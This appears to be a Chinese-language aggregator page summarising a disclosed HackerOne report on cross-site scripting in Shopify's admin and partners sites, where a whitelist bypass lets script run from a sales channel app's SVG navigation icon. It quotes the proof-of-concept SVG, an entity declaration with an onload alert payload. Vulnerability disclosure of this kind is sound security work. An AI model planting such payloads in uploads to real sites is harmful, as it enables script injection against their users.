XSS on $shop$.myshopify.com/admin/ and partners.shopify.com via whitelist bypass in SVG icon for sales channel applications
该报告还没有中文解读。
原文摘录
摘自原文（2807 字符中的一小部分）
Description Shopify allows developers to create a special type of application called a "[Sales Channel](https://help.shopify.com/api/sdks/sales-channel-sdk)". Developers are allowed to upload a 16x16 SVG "Navigation Icon" for their app provided the SVG follows the [design …
原文中的代码
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE svg [
<!ENTITY elem "">
]>
<svg onload="alert(document.domain);" height="16" width="16">
&elem;
</svg>默认不展示报告全文。以上为简短摘录，完整复现过程请阅读原文。版权归研究员与 Shopify 所有。
时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @bored-engineer · 版权归作者与 Shopify 所有